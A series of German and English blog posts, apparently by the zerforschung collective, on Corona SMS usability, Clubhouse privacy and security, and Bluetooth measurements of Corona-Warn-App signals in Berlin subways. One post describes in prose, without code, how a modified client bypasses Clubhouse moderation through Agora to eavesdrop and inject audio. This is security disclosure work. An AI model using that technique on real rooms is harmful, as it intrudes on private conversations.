Da die Links so lang sind, werden sie umgebrochen. iOS versucht hier schlau zu sein und einen Link zu generieren.

Wenn man z.B. im chinesischen PDF auf den Baden-Württem_berg_ Link klickt, landet man auf berg punkt de.

Mit dem Bayern-Link hat man da mehr Glück, man landete zumindest schon mal auf der korrekten Domain aber bei “404 - Himmel nochmal!”

Wir sind ja Digital Natives 🤓, also markieren wir einfach den ganzen Link und copypasten ihn in den Browser!

Aber da der Umbruch natürlich mit Bindestrich passiert, ist da jetzt ein Bindestrich in der Domain zu viel und auch die rauskopierten Links sind kaputt.

Falls ihr Lust auf ganz besonders zielgerichtetes Phishing habt: schleswig-hol-stein punkt de und in-fektionsschutz punkt de sind noch frei 🤡

Wir möchten kurz nochmal die wichtigste Stelle der Pressemitteilung des Bundesgesundheitsministerium zu den SMS zitieren:

“Über den Kurzlink erhalten Einreisende kompakte Informationen über ihre Pflichten im Zusammenhang mit dem Coronavirus […]”

🤣 🤣 🤣

So, das war ja alles ganz lustig, aber wie könnte man es denn eigentlich besser machen?

Man hätte zum Beispiel die wichtigsten Informationen direkt schon in die SMS schreiben können, denn welche Reisenden haben schon bei der Ankunft in einem fremden Land Datenvolumen, um sich überhaupt durch diese Behörden-Website-Wüste und PDFs zu klicken?

Es wäre auch eine deutliche angenehmere Experience, wenn man mehrere SMS mit jeweils genau einer Sprache bekäme, statt dieses DE/EN-Reißverschlussverfahren

(Vielleicht sogar klug erkannt, welche Sprache? … 1. Eine Sprache des Heimatlandes der SIM-Karte, 2. EN, 3. DE ?)

Und wenn man unbedingt so komplexe Regeln machen möchte und deswegen wirklich einen Link braucht, dann sollte die Seite dahinter die Browser-Sprache automatisch erkennen und auswählen, oder wenigstens eine Sprachauswahl am Anfang der Seite (IN DER JEWEILIGEN SPRACHE!) existieren.

Die Informations-Seite sollte dann Eingabefelder für Herkunftsland, Zielort, etc. haben und basierend darauf die passenden Regeln anzeigen.

Das geht auch komplett lokal im Browser, ohne die Daten zu übertragen.

Aber wir verstehen schon, dass so schnell keine gute Lösung umsetzbar ist, es war ja nur ein knappes Jahr Zeit. 🤡

🧵-Ende

Diese UX-Beratung war ein kostenloser Service von zerforschung und ist auch ohne Unterschrift gültig. Wenn ihr uns trotzdem und auch für weiteren Spaß unterstützen wollt hier entlang: https://zerforschung.org/unterstuetzen/

Update: Wir haben mal alle Unterlagen dazu angefragt: https://fragdenstaat.de/anfrage/corona-sms-fur-einreisende-ab-1-marz-2021/

Übrigens: die Website erscheint auf Deutsch. Zum Glück gibt es im Menü den Punkt „English version“. Klickt man nun darauf, kommt man - logisch - auf die englischsprachige Startseite des Gesundheitsministeriums.
— Josef Moser (@josef_moser) February 28, 2021

Wir wurden gerade darauf hingewiesen, dass es ja auch den COVID-19-Chatbot auf https://chatbot.it.bund.de/ gibt.

Nicht so richtig was wir wollten, aber mal auf “mehr anzeigen” klicken… Ahhhhhh🥶😱😤 “Bereitgestellt durch: Quellen: Aufzählung, Absätze” - weißte bescheid.

OK, mal ein anderes Land probieren…

Auf chinesisch nachfragen zerlegt den Bot übrigens reproduzierbar.

No one else was in the room where it happened - den Clubhousefrieden stören

Sat, 13 Feb 2021 18:25:00 +0200

This article was also published in english.

Was bisher geschah …

In unserem ersten Thread zu Clubhouse hatten wir uns Clubhouse erstmal nur oberflächlich angeschaut.

Dabei hatten wir gesehen, dass Clubhouse einen Dienstleister nutzt, um die Telefonie-Funktion anzubieten. Dieser Dienstleister heißt Agora.io und wird auch von vielen anderen Apps eingesetzt, unter anderem einer Therapie-App. Im Thread hatten wir u.a. festgestellt, dass wir problemlos einem Raum lauschen können, ohne den anderen Raumteilnehmer*innen angezeigt zu werden, wenn wir direkt mit Agora kommunizieren.

Umgekehrt kann man so auch in einem Raum angezeigt werden ohne zuzuhören. Das stellt allerdings eher kein Problem dar - schließlich ist man auch außerhalb von Clubhouse oft in Gesprächen anwesend ohne wirklich zuzuhören.

… und wie es weiter ging …

Nachdem wir den Twitter-Thread veröffentlicht hatten, haben wir versucht, direkt über Agora Ton einzuspielen. Dies funktionierte auch noch, nachdem wir den Raum verlassen hatten - wir konnten weiterhin an Gesprächen teilnehmen.

Das Ganze testeten wir natürlich in privaten Räumen, um niemanden zu stören. Das Standardverhalten von Clubhouse in privaten Räumen ist, dass dort erstmal alle Teilnehmer*innen sprechen dürfen. Clubhouse hat, insbesondere für größere, öffentliche Räume, das Feature einer virtuellen Bühne. Nur wer auf diese Bühne geholt wurde, kann für den ganzen Raum hörbar etwas sagen, der Rest bleibt im virtuellen Publikum (“Audience”) und kann nur zuhören. Nach unser bisherigen Erfahrung ahnten wir schlimmes, also haben wir unseren Test-Account in die Audience verschoben. Wie erwartet wurde auch sofort allen im Raum angezeigt, dass der Account nun nicht mehr sprechen kann und sich in der Audience befindet. Allerdings konnte dieser Account problemlos weiter Ton abspielen, der im ganzen Raum zu hören war.

Auch hier lässt sich das Verhalten wieder mit der urspünglichen Entdeckung verknüpfen - der Account kann den Raum verlassen und danach nicht nur weiterhin zuhören, sondern auch Ton einspielen, der an alle im Raum übertragen wird.

Hinweis: In öffentlichen Räumen müssen wir zumindest einmal auf der Bühne gewesen sein, um zu sprechen. Danach kann uns aber niemand mehr die Redemöglichkeit wegnehmen. Auch in privaten Räumen gibt es die Möglichkeit, die virtuelle Bühne zu aktivieren. Dort können wir immer sprechen, auch, wenn wir von Anfang an nur in der Audience waren.

Leider ist auch das einzige Feature von Clubhouse, mit dem ein*e Raum-Moderator*in unerwünschte Teilnehmer*innen (und ihr Audio) unterbinden könnte, kaputt: der Rauswerfen-Knopf. Dieser “Remove from Room”-Button bittet nur die Clubhouse-App des:der jeweiligen User*in, den Raum zu verlassen. Ist die App modifiziert, kann sie diese Bitte einfach ignorieren und bleibt im Raum.

Spricht man direkt mit dem Audiodienstleister Agora, haben sämtliche Moderationsmöglichkeiten der Clubhouse-App keinerlei Wirkung. Die Möglichkeit, Ton einzuspielen, funktioniert weiter, bis der Raum schlussendlich für alle geschlossen wird.

… next week on zerforschung

In Kürze folgt ein Artikel mit allen technischen Details sowie den Tools, die wir uns im Laufe der Tests gebaut haben. Doch zuerst wollen wir Clubhouse ausreichend Zeit geben, die beschriebenen Probleme zu beheben.

Wir haben Clubhouse über die Probleme informiert, zum Zeitpunkt der Veröffentlichung aber noch keine Rückmeldung erhalten.

Dabei ist uns wichtig: Wir haben uns entschieden, diesen Artikel trotzdem vor einer Problembehebung zu veröffentlichen, da diese Probleme aus unserer Sicht leider (zu) leicht findbar sind und auch einigen Schaden anrichten können, wenn nicht bekannt ist, wie es dazu kommen kann.

Nach kurzem Überfliegen der Agora-Schnittstellendokumentation und der bisherigen Verwendung durch Clubhouse, schätzen wir aber, dass die Problembehebung doch etwas schwieriger sein könnte. Aber die Details und ein paar lustige Dinge, die wir gefunden haben, kommen noch, also bleibt gespannt 🚀✨

All unsere Arbeit passiert in unserer Freizeit, neben Brötchenjob und allgemeiner Pandemie-Erschöpfung. Wenn dir gefällt was wir tun und du uns dabei unterstützen willst, damit wir noch mehr solchen oder ganz anderen Quatsch machen können, kannst du dir unsere Unterstützungsseite ansehen.

Um immer auf dem Laufenden zu bleiben, folge uns auf Twitter oder abonniere unseren RSS-Feed

Audio in den Beispielvideos: Kmart Radio Jingle & Kmart Gift Certificates Announcement von https://archive.org/details/KmartDecember1992

No one else was in the room where it happened - disturbing the clubhouse peace

Sat, 13 Feb 2021 18:25:00 +0200

Dieser Artikel ist auch auf deutsch erschienen.

What happened so far …

In our first thread on Clubhouse (in german) we had only taken a superficial look at Clubhouse.

We saw that Clubhouse uses an external service provider called Agora.io for the voice call functionality. Agora.io is also used by many other apps, including a therapy app. In the thread we found that, among other things, we can easily listen to a room without being displayed to the other room participants if we communicate directly with Agora.

Conversely, you can also be displayed in a room without listening. However, this is not really a problem - after all, even outside Clubhouse you are often present in conversations without really listening.

… and what happened next …

After we published the Twitter thread, we tried to play sound directly through Agora. This still worked after we left the room - we could still participate in conversations.

Of course, we only tested the whole thing in private rooms so as not to disturb anyone. The standard behaviour of Clubhouse in private rooms is that all participants are allowed to speak. Clubhouse also has the feature of a virtual stage, especially for larger, public rooms. Only those who have been brought onto this stage can speak audibly for the whole room, the rest remain in the virtual audience and can only listen. After our previous experience, we suspected something bad, so we moved our test account to the Audience. As expected, everyone in the room was immediately informed that the account could no longer speak and was now in the audience. However, this account could continue to play sound without any problems, which could be heard throughout the room.

Again, the behaviour can be combined with the original discovery - the account can leave the room and then not only continue to listen, but also play sound that is transmitted to everyone in the room.

Note: In public rooms, we must have been on stage at least once to speak. After that, however, no one can take away our permission to speak. You can also activate the virtual stage in private rooms. We can always speak there, even if we had only been in the audience since joining the room.

Unfortunately, the only feature of Clubhouse that a room moderator could use to prevent unwanted participants (and their audio) is also broken: the eject button. This “Remove from Room” button only asks the Clubhouse app of the respective user to leave the room. If the app is modified, it can simply ignore this request and remains in the room.

If you talk directly to the audio service provider Agora, all the moderation options of the Clubhouse app have no effect. The possibility to play sound continues to work until the room is finally closed for everyone.

… next week on zerforschung

We will publish an article with all technical details as well as the tools we built in the course of the tests. But first we want to give Clubhouse enough time to fix the described problems.

We have informed Clubhouse about the problems but have not received any feedback at the time of publication.

However: We have decided to publish this article anyway before fixing the problems, because in our view these problems are unfortunately (too) easy to find and can cause some damage if not known.

However, after a quick skim of the Agora interface documentation and Clubhouse’s use of it so far, we estimate that fixing the problem might be a bit more difficult after all. But the details and a few fun things we found will follow soon, so stay tuned 🚀✨

All our work is done in our spare time, besides our jobs and general pandemic exhaustion. If you like what we do and want to support us so we can do more nonsense like this or something else, you can check out our support page.

To stay up to date, follow us on Twitter or subscribe to our RSS feed

Audio in the sample videos: Kmart Radio Jingle & Kmart Gift Certificates Announcement from https://archive.org/details/KmartDecember1992

Daten aus dem Untergrund

Tue, 09 Feb 2021 17:40:27 +0100

Wie im Artikel über unsere CWA-Messungen in Berliner U-Bahnen versprochen, veröffentlichen wir nun die Daten aus unseren Messungen. Um weitere Auswertungen mit den Daten möglichst einfach zu machen, haben wir ein paar Vorverarbeitungsschritte gemacht. Dabei haben wir außerdem alle nicht benötigten Daten, die als persönliche Daten gewertet werden könnten, entfernt. Keine dieser Veränderungen sollte die Auswertbarkeit der Daten beeinträchtigen. Eine genaue Beschreibung, welche Änderungen wir vorgenommen haben und eine Beschreibung des Datenformats befindet sich im Readme des Repositories.

Das GitHub repo mit den Daten und Doku ist unter https://github.com/zerforschung/Covid32Data zu finden

Clubhouse really likes your phone book

Mon, 01 Feb 2021 13:01:00 +0200

Dieser Artikel ist auch auf Deutsch erschienen.

tl;dr: Every time you open the invite tab, clubhouse uploads all the phone numbers from your address book.

Clubhouse is currently invite-only, which is probably part of the current hype. To invite someone you have to give Clubhouse access to your address book. This has been criticized several times. There has been a lot of discussion about how Clubhouse uses this address book data. We took a look and document how clubhouse currently uses the data from your address book and how it could be done better.

Invites to Clubhouse

After registering, the clubhouse app asks for access to your address book. This must be granted if you want to invite friends.

Invite Button in the Clubhouse App

After clicking the Invite button, the app uploads all phone numbers in your address book to their servers to find out which of your contacts can be invited and which are already registered with clubhouse.

Address book upload and response from the server

No names or further information is transferred, only the phone numbers. However, clubhouse has access to this data and could decide to upload it as well in a future version without users noticing.

As a response, the server delivers a list of all phone numbers that can be invited or that are already on Clubhouse.

The upload happens not only the first time the invite tab is accessed, but is repeated every time you open the tab. This means that clubhouse could create a complete history of your contacts from the time you registered with the app and theoretically also knows which people you probably met only recently.

Alternatives

This procedure is highly questionable from a privacy point of view, especially since Clubhouse grants itself extensive usage rights to the uploaded contact data.¹ In addition, a hidden social graph can be created that also includes contacts who are not registered with Clubhouse and have never agreed to the terms of use.

Please see Update 2.

There are other ways to find contacts, for example Signal uses a complicated contact discovery protocol to make sure that the servers do not have permanent access to your contact data.

It would also be possible to perform a comparison using only the hash values of the phone numbers, as suggested by the saarland data protection authority. While this would mean that the plain phone numbers are no longer known to the servers, a social graph could still be created, including for contacts who are not using clubhouse. The Signal article linked above describes why hashing is not always an adequate solution in further detail.

Update 1: Hashing

Since we already got feedback (thank you Matthias): Hashing is not a sufficient protection.²^,³ Since there are relatively few possible phone numbers, they can simply be brute forced. We didn’t want to leave this option unmentioned, because the Saarland data protection authority suggested this method.

Update 2: How to do it better.

Privacy preserving contact discovery is hard. However, Clubhouse does not use the phone numbers for contact discovery. There is no way to find your contacts in the app via their phone number. While you can see which of your contacts are already on clubhouse in the invite tab, there is no way to directly access their profile.

So instead of uploading the address book cloubhouse could:

show all contacts in the address book without sending them to their server. Only after pressing “invite”, the server will be asked if an invitation can be sent to this specific phone number.
switch to another invite system. Like many other apps, Clubhouse could generate invite tokens or invite links that you have to provide when signing up. After inviting someone, you are already prompted to send them a message. This message could contain a short invite code that they can then use to register a new account. This way no access to the phone book would be needed.
not use phone numbers. They are only used for loging into Clubhouse, but nowhere in the app. Instead, only user names and passwords could be used.

Clubhouse mag dein Telefonbuch wirklich gern

Mon, 01 Feb 2021 13:00:00 +0200

This article was also published in english.

tl;dr: Jedes mal, wenn man das Invite-Tab öffnet, werden alle Telefonnummern aus dem Adressbuch hochgeladen.

Clubhouse ist aktuell invite-only, was vermutlich einen Teil des aktuellen Hypes ausmacht. Um eine Person einzuladen muss man Clubhouse Zugriff auf das eigenene Adressbuch geben. Dies wurde bereits mehrfach kritisiert. Es gab viel Diskussion, wie Clubhouse diese Adressbuch-Daten nutzt. Wir haben uns angeschaut, wie Clubhouse das Adressbuch verwendet und wie es besser ginge.

Invites bei Clubhouse

Nachdem man sich bei Clubhouse registriert hat, fragt Clubhouse direkt nach Zugriff auf das Adressbuch. Diesen muss man spätestens dann gewähren, wenn man Freund*innen einladen will.

Invite Button in der Clubhouse-App

Nach einem Klick auf den Invite-Button sendet Clubhouse alle Telefonnummern, die im eigenen Adressbuch stehen an ihre Server um herauszufinden, welche der eigenen Kontakte eingeladen werden können und welche bereits bei Clubhouse angemeldet sind.

Adressbuch-Upload und Antwort des Servers

Hierbei werden keine Namen übertragen, sondern nur die reinen Telefonnummern. Allerdings hat Clubhouse Zugriff auf diese Daten und könnte diese in Zukunft nutzen ohne, dass Nutzer*innen dies merken könnten.

Als Antwort liefert der Server eine Liste aller Telefonnummern, die man einladen kann oder die bereits auf Clubhouse angemeldet sind.

Das ganze passiert aber nicht nur beim ersten Zugriff auf den Invite-Tab, sondern wird bei jedem Aufruf des Tabs wiederholt. So hat Clubhouse theoretisch ab dem Zeitpunkt der Anmeldung eine komplette History über die Kontakte und weiß theoretisch auch, welche Personen ich wahrscheinlich erst vor kurzem kennen gelernt habe.

Alternativen

Dieses Vorgehen ist aus Datenschutzgründen höchst bedenklich, insbesondere da Clubhouse sich weitreichende Nutzungsrechte an den hochgeladenen Kontaktdaten einräumt. Zudem lässt sich so ein versteckter Social Graph erzeugen, der auch Kontakte umfasst, die gar nicht bei Clubhouse angemeldet sind und auch den Nutzungsbedingungen nie zugestimmt haben.

Bitte Update 2 beachten.

Dabei gäbe es andere Möglichkeiten, zum Beispiel verwendet Signal ein kompliziertes Verfahren um sicher zu stellen, dass die Server keinen dauerhaften Zugriff auf die Kontaktdaten haben.

Auch wäre es möglich, einen Abgleich nur über Hashwerte der Telefonnummern durchzuführen, wie es auch die saarländische Datenschutzbehörde fordert. Dies vermeidet zwar die Übertragung der Telefonnummern, verhindert aber nicht, dass ein versteckter Social Graph über Nutzer*innen erstellt werden kann. Auch die Problematik, dass dieser Graph auch Menschen einbeziehen kann, die nicht bei Clubhouse angemeldet sind, und die den Nutzungsbedingungen nie zugestimmt haben bleibt beim Hashing bestehen.

Update 1: Hashing

Da es bereits Feedback gab (danke Matthias): Hashing ist kein ausreichender Schutz.¹^,² Da es relativ wenige mögliche Telefonnummern gibt, können diese einfach durchprobiert werden. Da die saarländische Datenschutzbehörde dieses Verfahren ins Spiel brachte wollten wir es nicht unerwähnt lassen.

Update 2: Wie es besser geht.

Datensparsame contact discovery ist schwer. Allerdings braucht Clubhouse das gar nicht, denn es gibt keine Funktion in Clubhouse, um Kontakte anhand ihrer Telefonnumer zu finden. Auch auf der Invite-Seite wird zwar bei Kontakten aus dem Adressbuch angezeigt, wenn sie bereits auf Clubhouse sind aber es gibt keine Möglichkeit direkt ihr Profil aufzurufen.

Statt das Adressbuch hochzuladen könnte die App also zum Beispiel:

nur lokal alle Kontakte anzeigen, ohne diese an den Server zu schicken. Erst nachdem auf “Einladen” gedrückt wurde, wird beim Server abgefragt, ob an diese spezifische Telefonnummer eine Einladung geschickt werden kann.
auf ein anderes Invite-System umstellen. So wie viele andere Apps könnte Clubhouse Tokens erzeugen, die man bei der Anmeldung angeben muss oder Invite-Links erzeugen. Bereits jetzt wird man nach der Einladung aufgefordert, der eingeladenen Person eine Nachricht schicken. In dieser Nachricht könnte ein kurzer Invite-Code enthalten sein, mit dem man sich dann registrieren kann. Dafür wäre dann gar kein Zugriff auf das Adressbuch notwendig.
Komplett auf Telefonnummern verzichten. Telefonnummern werden in Clubhouse nur zum Login verwendet, in der App dann nirgenwo. Stattdessen könnten sogar nur Nutzer*innen-Namen und Passwort verwendet werden.

Auf der Suche nach Corona im Berliner Untergrund

Wed, 27 Jan 2021 15:00:56 +0100

In Bussen und Bahnen steckt man sich nicht mit Corona an, behaupten die Verkehrsunternehmen immer wieder¹ und starten Werbekampagnen zum “wieder einsteigen”. Das erscheint auf den ersten Blick irrational, da ÖPNV-Umgebungen viele Merkmale aufweisen, die laut RKI das Infektionsrisiko erhöhen: viele Menschen, geringe Abstände, geschlossene Räume.

Die Verbünde begründen ihr Vertrauen in die Sicherheit des ÖPNV damit, dass nur ein Bruchteil der ans RKI gemeldeten Infektionsorte Bus und Bahn betreffen.

Allerdings konnten die Gesundheitsämter mehr als 75% der Übertragungsorte gar nicht ermitteln.

Das @rki_de-Diagramm zum "Infektionsumfeld" ist noch immer gefährlich missverständlich.
Ich habe das mal repariert: https://t.co/cCNwlmHb6S pic.twitter.com/iGHMgNpHDj
— Michael Kreil (@MichaelKreil) January 18, 2021

Der ÖPNV ist ein idealer “versteckter” Übertragungsort: Viele Zufallsbegegnungen mit ständig wechselnden, unbekannten Menschen. Es ist damit unmöglich, ein Kontakttagebuch zu führen und diese Kontakte dem Gesundheitsamt mitzuteilen.

Um die tatsächliche Gefahr einschätzen zu können, überlegten wir uns also, wie wir bessere Daten über Coronafälle im ÖPNV erfassen können.

Nach kurzer Überlegung, uns selbst in die Bahn zu stellen und die Leute zu fragen, ob sie Corona haben und dabei unsere Gesundheit zu gefährden, hatten wir eine sehr viel bessere Idee…

Corona-Warn-App

Ein Ansatz, um potentielle Infektionswege unter fremden Menschen zu erfassen, ist das Contact Tracing über die Corona-Warn-App.

Das funktioniert auf zwei Arten:

Als Sender generiert die App einmal pro Tag eine neue, sehr lange, zufällige Zahl und speichert diese für die nächsten 14 Tage. Aus dieser täglichen Zahl wird nun etwa alle 15 Minuten nach einem öffentlich bekanntem Algorithmus eine Ableitung generiert (mit der man nicht auf die Originalzahl zurückschließen kann) und diese in regelmäßigen Abständen ausgesendet.
Wenn Nutzer*innen nun einen positiven Coronatest bekommen und das in der App melden, werden die 14 letzten Tageszahlen hochgeladen und alle anderen können sie sich herunterladen.

Als Empfänger hört die App die ganze Zeit auf die ausgesendeten Signale der anderen Apps und speichert diese für 14 Tage. Mindestens einmal täglich lädt sie alle verfügbaren Tageszahlen herunter und verwendet den öffentlich bekannten Algorithmus, um daraus die gleichen Ableitungen zu generieren und diese mit den empfangenen Signalen zu vergleichen. Findet sie hier zwei gleiche Zahlenfolgen, fand ein Risikokontakt statt, der dann in der App angezeigt wird.

Alle Daten, die älter als 14 Tage sind, werden automatisch gelöscht. So kann man sehr datensparsam und anonym Risikobegegnungen erkennen – auch im ÖPNV und an anderen Orten, wo sich viele unbekannte Menschen zufällig begegnen.

Wie viele Risikokontakte würde also ein Smartphone mit Corona-Warn-App ermitteln, das dauerhaft in einer Berliner U-Bahn liegen würde?

Vermutlich nur sehr wenige, weil es bald mitgenommen oder zerstört würde. Spätestens nach 2-3 Tagen wäre auch der Akku leer und wir müssten den U-Bahnwagen im kompletten Liniennetz wiederfinden, um das Smartphone zu bergen und die Daten auswerten zu können.

Selbst wenn wir all das akzeptieren oder verhindern könnten, hätten wir noch ein Problem: Die Angaben der Corona-Warn-App lassen in ihrem Detailgrad sehr zu wünschen übrig. Beispielsweise wird nur der Tag der letzten Risikobegegnung angezeigt.

Alles muss man selber machen…

Das Kontaktprotokoll der Corona-Warn-App basiert auf Bluetooth Low Energy (BLE). Diese Technik ist nicht nur in Smartphones verbaut, sondern es gibt auch sehr günstige Mikrocontroller mit eingebautem BLE-Modul – also klein, kostengünstig und stromsparend.

Vor uns lag nun die Aufgabe, ein eigenes Messgerät zu bauen und die relevanten Funktionen der App nachzuprogrammieren.

Außerdem brauchten wir noch eine Lösung, an die Daten zu kommen, während die Messgeräte U-Bahn fahren – um bei einem Verlust nicht komplett auf alle Messergebnisse verzichten zu müssen. Für eine regelmäßige Übertragung eignete sich das öffentliche WLAN der U-Bahnhöfe sehr gut.

Der Prototyp konnte nach etwa einer Woche Entwicklungszeit erfolgreich seine erste Testfahrt absolvieren.

So sehen die Messgeräte aus. Links installationsfertig verpackt, rechts in Einzelteilen.

Nach vielen Optimierungen konnten wir die Batterielaufzeit unserer Geräte auf durchschnittlich etwa 10 Tage erhöhen – weit mehr als mit einem Smartphone möglich gewesen wäre.

Wie genau wir das technisch gelöst haben, werden wir demnächst auch beschreiben. Das ist mindestens genauso spannend wie die Ergebnisse. Also abonniert den RSS-Feed und folgt auf Twitter

Immer eine Hand breit Sensor unterm Sitz

Bis Ende November hatten wir uns von der Funktionstüchtigkeit und Stabilität der Sensoren überzeugt, die Serverkomponente programmiert und ein effizientes Übertragungsprotokoll entwickelt, um aus aus den Tiefen des U-Bahn-Netzes kommunizieren zu können.

Jedes Messgerät wurde mit einer Mailadresse beklebt, damit ehrliche Finder*innen uns kontaktieren können² und in mehreren nächtlichen Fahrten³ verteilten wir die Geräte. Dabei versuchten wir möglichst alle Linien gleichmäßig abzudecken.

Das hat nicht ideal geklappt, da die U-Bahnen gelegentlich die Linien wechseln, aber wir haben dabei eine Menge über das Berliner U-Bahnnetz gelernt, was auch noch mal einen eigenen Artikel wert wäre. Wusstet ihr zum Beispiel, dass nicht nur die Haltestellen, sondern auch die BVG-Betriebshöfe öffentlich nutzbares WLAN haben?

So fuhren 23 der kleinen Messgeräte von Ende November bis Anfang Januar durch den Berliner Untergrund, empfingen einmal pro Minute Corona-Warn-App Daten und sendeten die Messwerte regelmäßig an unseren Server.

Mit Gesamtkosten von etwa 400€ für Mikrocontroller (mehr Mikrocontroller als letztendlich verbaut), Werkzeuge und Verbrauchsmaterial sind wir trotzdem deutlich günstiger, als wenn wir die Messung mit Smartphones durchgeführt hätten. Die reinen Hardwarekosten pro Sensor liegen bei unter 8€. Kosten, bei denen Forschungseinrichtungen, Recherchenetzwerke oder Verkehrsunternehmen eine deutlich größere und damit repräsentativere Installation ermöglichen könnten.

Ein weiterer Vorteil der Eigenentwicklung ist, dass wir die rohen Daten sehen und sie so besser auswerten können.

Gegenüber einer rein Corona-Warn-App-basierten Lösung erfassen wir folgende zusätzliche Informationen:

exakter Zeitpunkt einer Messung
Dauer des Risikokontaktes
alle Signale der Corona-Warn-App, um zum Beispiel den Anteil der positiv gemeldeten in die Auswertung einbeziehen zu können
kein Zwangsfiltern von kurzen Begegnungen oder schwachem Signal
grobe Position der Messung (durch BVG WiFis)

Der Datenschutz ist weiterhin gewährleistet, da die übertragenen Daten ohnehin keine personenbezogenen Informationen enthalten.

Aussagekraft der Daten

Nachfolgend ein paar Einschränkungen zur Aussagekraft, die wir euch nicht verschweigen möchten:

Die Wagen mit den Messgeräten waren nicht immer gleichzeitig auf allen Linien unterwegs oder standen zwischenzeitlich für mehrere Tage in Depots.
Die Geräte waren innerhalb der Wagen aufgrund unterschiedlicher Fahrzeugtypen an unterschiedlichen Stellen verbaut. Das könnte die Abschirmung der Bluetooth-Signale beeinflusst haben. Eine Vergleichbarkeit zwischen Sensoren in unterschiedlichen Fahrzeugtypen wird damit erschwert.
Außerdem lagen viele Feiertage in unserem Erfassungszeitraum von Ende November bis Anfang Januar und die Corona-Regelungen wurden mehrfach geändert.
Genauso hat sich die Eröffnung der U5-Verlängerung in den Messergebnissen bemerkbar gemacht.
Zusätzlich ist von einer Ungleichverteilung der Corona-Warn-App in den verschiedenen gesellschaftlichen Schichten und Risikogruppen auszugehen. Eventuell ist die Verbreitung der App in Berlin höher als im bundesweiten Durchschnitt, was man bei den späteren Rechenbeispielen im Hinterkopf behalten sollte.
Zu beachten ist außerdem, dass die Sensoren in unseren Tests nur eine Sichtweite von etwa einer Wagenlänge hatten.
Nicht zuletzt das führt zu der größten Einschränkung, dass 23 Messgeräte zu wenig sind, um wirklich aussagekräftige Erkenntnisse für 9 U-Bahn-Linien mit vielen hundert Zügen zu gewinnen. Für mehr hatten wir allerdings weder zeitliche noch finanzielle Kapazitäten.

Deshalb finden wir: Wenn Verkehrsunternehmen mit der Sicherheit im ÖPNV werben, dann sollte sich diese Aussage auf Fakten stützen, z.B. durch eigene Messungen – auch wenn die Anzahl der positiven Fälle allein noch nicht viel über Übertragungswahrscheinlichkeiten aussagt.

Zusätzlich könnten die Verkehrsunternehmen in ihren Zügen Luftqualitätswerte messen, beispielsweise CO₂. Da ein hoher CO₂-Gehalt auf schlechte Belüftung hinweist, können damit genauere Aussagen über das Übertragungsrisiko getroffen werden.

Die Verkehrsunternehmen hätten sogar noch mehr Vorteile: Mit der von uns genutzten Hardware könnte man Fahrzeugauslastungen in Echtzeit schätzen, was auch über die Pandemiebekämpfung hinaus sinnvoll sein könnte.

Wer sich von Verkehrsunternehmen dafür interessiert – wir helfen gerne, solche Systeme aufzubauen.

BVG, ihr liebt uns doch auch, oder?

Datenvoodoo – nicht immer exakt, aber schön anzusehen

So fuhren unsere Messgeräte also etwas mehr als einen Monat durch die Tunnel der Hauptstadt und wir freuten uns täglich über die neu eintreffenden Daten.

Währenddessen glichen wir regelmäßig die Infektionsmeldungen auf dem Server der Corona-Warn-App mit unseren Daten ab und bereiteten die nun folgenden Auswertungen vor.

Im folgenden Bild sieht man, dass Begegnungen mit als infiziert gemeldeten Personen überwiegend unter einer Minute dauern. Das könnten Menschen sein, die sich beim Ein- oder Aussteigen oder auf der Suche nach einem Platz durch den Wagen bewegen. Vereinzelt konnten wir aber auch längere Mitfahrten von bis zu einer halben Stunde nachweisen.

Verteilung der Kontaktdauer infizierter Kontakte

Diese Karte zeigt, wie viele Messungen auf dem jeweiligen Streckenabschnitt durchgeführt wurden. Gut zu erkennen ist hier, dass die U8 und die U9 besser mit Messgeräten ausgestattet waren.

Wie oben bereits erwähnt, haben wir anfangs alle Linien mit Messgeräten gleichmäßig ausgestattet. Die ungleiche Zahl der Geräte ergab sich später, weil die Züge die Linien wechseln.

Anzahl der Messungen auf dem jeweiligen Streckenabschnitt

Der durch Bauarbeiten eingeschränkte Verkehr zwischen Kottbusser Tor und Warschauer Straße auf den Linien U1 und U3 ist gut sichtbar.

Ein Artefakt in den Messungen ist das südliche Ende der U9, zwischen Walther-Schreiber-Platz und Rathaus Steglitz. Dort konnten wir keine WLANs zur Positionsbestimmung empfangen und damit die Messungen nicht dem Streckenabschnitt zuordnen.

Im Anschluss rechnen wir mit vielen Zahlen, die auch von offiziellen Stellen nur geschätzt oder angenommen werden können. Auch die Aussagekraft unserer eigenen Zahlen ist nur begrenzt. So sind die Ergebnisse dieser “wir haben das mal auf dem Bierdeckel berechnet”-Methode mit Vorsicht zu genießen. Trotzdem gehen wir davon aus, dass die Größenordnungen annähernd den realen Zahlen entsprechen.

Man könnte auch sagen: Nicht alles, was folgt, ist falsch.

Da unsere Messungen nur in der Berliner U-Bahn erfolgten und wir keine Vergleichsmessungen an anderen Orten vorgenommen haben, können wir genauso wenig wie die Verkehrsunternehmen eine wirklich faktenbasierte Aussage darüber treffen, welche Rolle der ÖPNV in der Coronapandemie spielt.

Auf der folgenden Karte ist der Prozentsatz der Fahrten pro Streckenabschnitt markiert, auf dem wir ein als infiziert gemeldetes Signal empfangen haben.

Auf einigen Streckenabschnitten sieht es so aus, als gäbe es keine Infektionsgefahr. Dieser Eindruck kommt daher, dass wir insgesamt zu wenige Messungen haben. Das bedeutet nicht, dass es dort immer sicher ist.

Auch mögen unsere Höchstwerte von 1,6% wenig wirken, allerdings fallen hier noch ein paar weitere Faktoren ins Gewicht. So werden geschätzt nur 10-15% aller positiven Tests auch in der Corona-Warn-App gemeldet (damit wären wir also bei 10,6% bis 16% Wahrscheinlichkeit).
Hinzu kommt noch die Dunkelziffer mit geschätztem Faktor von mindestens 3 in Berlin für den entsprechenden Zeitraum.
Und schon sind wir bei einer theoretischen Wahrscheinlichkeit von über 30% (31,8% bis 48%), dass sich eine mit Corona infizierte Person in der Nähe befindet.

Anteil der Fahrten mit Infizierten-Messung pro Streckenabschnitt

Insgesamt wurden 0,1% der empfangenen Signale später als infiziert gemeldet. Das bedeutet, das jede tausendste Person ein als (später) infiziert gemeldetes Signal sendete.

Das hört sich wieder wenig an, in U-Bahnwagen sitzt man allerdings meist nicht allein, sodass sich dieses Risiko mit der Anzahl der Personen multipliziert.

Wenn man außerdem bedenkt, dass nur etwa die Hälfte⁴ der positiv getesteten Nutzer*innen der Corona-Warn-App ihr Ergebnis über die App teilt und weiter von einer Dunkelziffer vom Faktor 3 ausgeht erhöht sich die Wahrscheinlichkeit rein rechnerisch auf 0,6% pro Person in der Nähe.

